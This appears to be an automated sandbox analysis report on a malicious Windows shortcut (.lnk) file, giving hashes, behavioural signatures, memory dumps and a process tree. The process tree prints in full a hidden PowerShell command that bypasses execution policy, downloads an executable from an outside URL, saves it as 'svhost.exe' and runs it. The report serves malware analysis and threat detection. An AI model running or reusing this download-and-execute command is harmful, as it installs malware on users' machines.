Resubmissions
03-02-2023 01:45
230203-b6fmlshg33 1002-02-2023 21:18
230202-z5z7maba8z 1002-02-2023 21:02
230202-zvr39sah6z 10Analysis
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max time kernel
43s -
max time network
45s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
02-02-2023 21:02
Static task
static1
Behavioral task
behavioral1
Sample
a517abf69af75cef34cc2db14981ea42b2ef4424c140e37363f80badb2353c6c.lnk
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
a517abf69af75cef34cc2db14981ea42b2ef4424c140e37363f80badb2353c6c.lnk
Resource
win10v2004-20221111-en
General
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Target
a517abf69af75cef34cc2db14981ea42b2ef4424c140e37363f80badb2353c6c.lnk
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Size
2KB
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MD5
ef7f9739337bc657cd0a63e32e27d0a1
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SHA1
bf67555a7272f24ceb57b1c49e4cf37dc17b246f
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SHA256
a517abf69af75cef34cc2db14981ea42b2ef4424c140e37363f80badb2353c6c
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SHA512
e3d0a14ac1b9165e75e619aa6f76058a4c799bb722abaeafac977c35f31ab10ad8c8a51c7f3828bb896cbf339f971974a4fb26421ba6aea52530ac84b7785ada
Malware Config
Extracted
https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe
Signatures
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Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 4 880 powershell.exe 5 880 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 880 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 880 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 1652 wrote to memory of 880 1652 cmd.exe powershell.exe PID 1652 wrote to memory of 880 1652 cmd.exe powershell.exe PID 1652 wrote to memory of 880 1652 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\a517abf69af75cef34cc2db14981ea42b2ef4424c140e37363f80badb2353c6c.lnk1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe','C:\Users\Admin\AppData\Roaming\svhost.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\svhost.exe'2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/880-88-0x0000000000000000-mapping.dmp
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memory/880-93-0x000007FEF3AD0000-0x000007FEF44F3000-memory.dmpFilesize
10.1MB
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memory/880-95-0x0000000001DA4000-0x0000000001DA7000-memory.dmpFilesize
12KB
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memory/880-94-0x000007FEF2F70000-0x000007FEF3ACD000-memory.dmpFilesize
11.4MB
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memory/880-96-0x0000000001DAB000-0x0000000001DCA000-memory.dmpFilesize
124KB
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memory/880-97-0x0000000001DA4000-0x0000000001DA7000-memory.dmpFilesize
12KB
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memory/880-98-0x0000000001DAB000-0x0000000001DCA000-memory.dmpFilesize
124KB
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memory/1652-54-0x000007FEFB761000-0x000007FEFB763000-memory.dmpFilesize
8KB